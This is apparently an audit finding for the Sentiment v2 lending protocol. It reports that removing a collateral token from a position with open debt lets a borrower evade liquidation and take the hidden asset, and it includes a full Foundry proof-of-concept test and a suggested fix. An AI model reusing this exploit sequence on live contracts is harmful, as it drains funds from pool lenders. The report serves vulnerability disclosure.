Rough Malachite Mockingbird

High

# A user can save himself from complete loss from liquidation without repaying, and can cause griefing/loss for the POOL owners.

## Summary
A user can save himself from complete loss from liquidation without repaying and cause grief for the POOL owners, by removing an asset using `removeToken` function, used as collateral in position, just before the event leading to a bad position.
And then once remaining assets are liquidated ,he can add that same asset again, and transfer it back again to himself.

For better explanation lets get into a scenario and a POC for it below.

## Vulnerability Detail
Before getting into the scenario, lets first understand what could cause this issue.

Users can add & remove tokens in their position, which are used as collateral.
This can be done using the `addToken` & `removeToken` functions.

https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/PositionManager.sol#L404C5-L424C6

But there's no restriction on doing this , and the tokens are directly being added/removed from the  `positionAsset` sets.

A user can misuse this lack of restriction . How ? lets see a scenario. 

(I'M DESCRIBING A BASIC SCENRIO WHICH CAN BE ALSO EASILY RECIPROCATED IN POC, HENCE BETTER FOR UNDERSTANDING THE CORE ISSUE).

Lets say a user deposits 2 units of `asset2` in the position. And then adds it using `addToken(asset2)`.
Then borrows from a Pool which contains `asset1` . Hence borrows 1 unit of `asset1`.
Now using exec function he swaps it with `asset3`.
And then adds `asset3` into the Position.
Lets say the value of `asset1` `asset2` & `asset3` is equal to `1e18`.

So now `totalAssetsValue = 3e18`
`debt = 1e18`.

Here the position is safe.

Now what the user does is remove the `asset3` from `positionAssets` set. 
The `Position` contract does holds the `asset3` tokens, but the user just removes it form the set.

Hence now `totalAssetValue = 2e18`, since `totalAssetValue is being calculated using the assets present in positionAssets SET`

Now suppose an event occurs where the price/value of `asset2` drops from `1e18` to `0.1e18`.

Now the totalAssetValue = 0.2e18.

His position is in a bad position, and will be liquidated by a liquidators, and his `asset2` values will be liquidated.

But here if he wouldn't had removed the `asset3`, his `asset3` values would also have been liquidated.

The liquidation happens and the remaining debt is being repayed, ** BUT from asset2 only **.

Now the `debt  = 0`.
And he again adds `asset3` token in the `positionAssets` SET.

And now the `totalAssetValue = 1e18`, because of the asset3.

Then he uses the `transfer` function, and transfers the `asset3` token value to another address of himself.

Hence where if he hadn't removed `asset3` , he would have lost them also.

But he saved himself because of lack of restriction on the `removePool`.
And also caused griefing for the POOL owner of a value of `1e18 ` in this scenario.

The loss for POOL owners can also go high depending on scenarios and how users MISUSE this advantage.

## POC

Below is the Proof of code for the above given scenario. Add this test function in the test/integration/Liquidate.t.sol.

Run this test using command `forge test --mt testPOC`.

```javascript
function testPOC() public {
        vm.startPrank(user);
        asset2.approve(address(positionManager), 3e18);

        // deposit 1e18 asset2, borrow 1e18 asset1, swap asset3 with asset1 
        Action[] memory actions = new Action[](7);
        (position, actions[0]) = newPosition(user, bytes32(uint256(0x123456789)));
        actions[1] = deposit(address(asset2), 2e18);
        actions[2] = addToken(address(asset2));
        actions[3] = borrow(fixedRatePool, 1e18);
        actions[4] = approve(address(mockswap), address(asset1), 1e18);
        bytes memory data = abi.encodeWithSelector(SWAP_FUNC_SELECTOR, address(asset1), address(asset3), 1e18);
        actions[5] = exec(address(mockswap), 0, data);
        actions[6] = addToken(address(asset3));
        positionManager.processBatch(position, actions);
        vm.stopPrank();
        assertTrue(riskEngine.isPositionHealthy(position));

        // construct liquidator data
        DebtData memory debtData = DebtData({ poolId: fixedRatePool, amt: type(uint256).max });
        DebtData[] memory debts = new DebtData[](1);
        debts[0] = debtData;
        // AssetData memory asset1Data = AssetData({ asset: address(asset3), amt: 1e18 });
        AssetData memory asset2Data = AssetData({ asset: address(asset2), amt: 2e18 });
        AssetData[] memory assets = new AssetData[](1);
        assets[0] = asset2Data ; 

        // attempt to liquidate before price moves
        asset1.mint(liquidator, 10e18);
        vm.startPrank(liquidator);
        asset1.approve(address(positionManager), 1e18);
        vm.expectRevert(abi.encodeWithSelector(RiskModule.RiskModule_LiquidateHealthyPosition.selector, position));
        positionManager.liquidate(position, debts, assets);
        vm.stopPrank();

        // totalAssetValue & totalDebtValue before price declining and removing asset3
        (uint256 totalAssetValueB, uint256 totalDebtValueB,) = riskEngine.getRiskData(position);
        assertEq(totalAssetValueB, 3e18);
        assertEq(totalDebtValueB, 1e18);

        // user removes the asset3
        Action[] memory action = new Action[](1);
        action[0] = removeToken(address(asset3));
        vm.prank(user);
        positionManager.processBatch(position, action);

        // asset2 price moves from 1eth to 0.1eth and position becomes unhealthy
        FixedPriceOracle pointOneEthOracle = new FixedPriceOracle(0.1e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset2), address(pointOneEthOracle));
        assertFalse(riskEngine.isPositionHealthy(position));

        // totalAssetValue after price declining and removing asset3
        (uint256 tAV,,) = riskEngine.getRiskData(position);
        assertEq(tAV,2e17);

        // liquidate
        vm.startPrank(liquidator);
        asset1.approve(address(positionManager), 1e18);
        positionManager.liquidate(position, debts, assets);
        vm.stopPrank();

        // USER'S POSITION GET LIQUIDATED AND NOW EVERY VALUE = 0 
        (uint256 totalAssetValue, uint256 totalDebtValue, uint256 minReqAssetValue) = riskEngine.getRiskData(position);
        assertEq(totalAssetValue,0);
        assertEq(totalDebtValue,0);
        assertEq(minReqAssetValue, 0);

        // User again adds `asset3`.
        Action[] memory action2 = new Action[](1);
        action2[0] = addToken(address(asset3));
        vm.prank(user);
        positionManager.processBatch(position, action2);

        // totalAssetValue after adding asset3 becomes 1e18.
        (uint256 totalAssetValueAfter,,) = riskEngine.getRiskData(position);
        assertEq(totalAssetValueAfter, 1e18);

        // User transfers the asset3 to himself
        Action[] memory action3 = new Action[](1);
        action3[0] = transfer(user, address(asset3), 1 ether);
        vm.prank(user);
        positionManager.processBatch(position, action3);

        assertEq(asset3.balanceOf(user),1e18);

        // HENCE USER WAS ABLE TO SAVE HIS 1e18  value `ASSET3` & CAUSE SAME AMOUNT OF LOSS TO THE POOL OWNER.

    }
```
And the test will pass.

## Impact

As seen above, user was able to save himself from complete liquidation of his assets, by saving an `x` amount of assets, and griefing the POOL owner with that same `x` amount of asset, causing clear LOSS OF FUNDS.

## Code Snippet
https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/PositionManager.sol#L404C5-L424C6

## Tool used

Manual Review, Foundry

## Recommendation
There should be RESTRICTION added, while removing a token, it should be check whether the position has any DEBT or NOT.
If yes, then the user should not be allowed to remove the token from the `positionAssets`.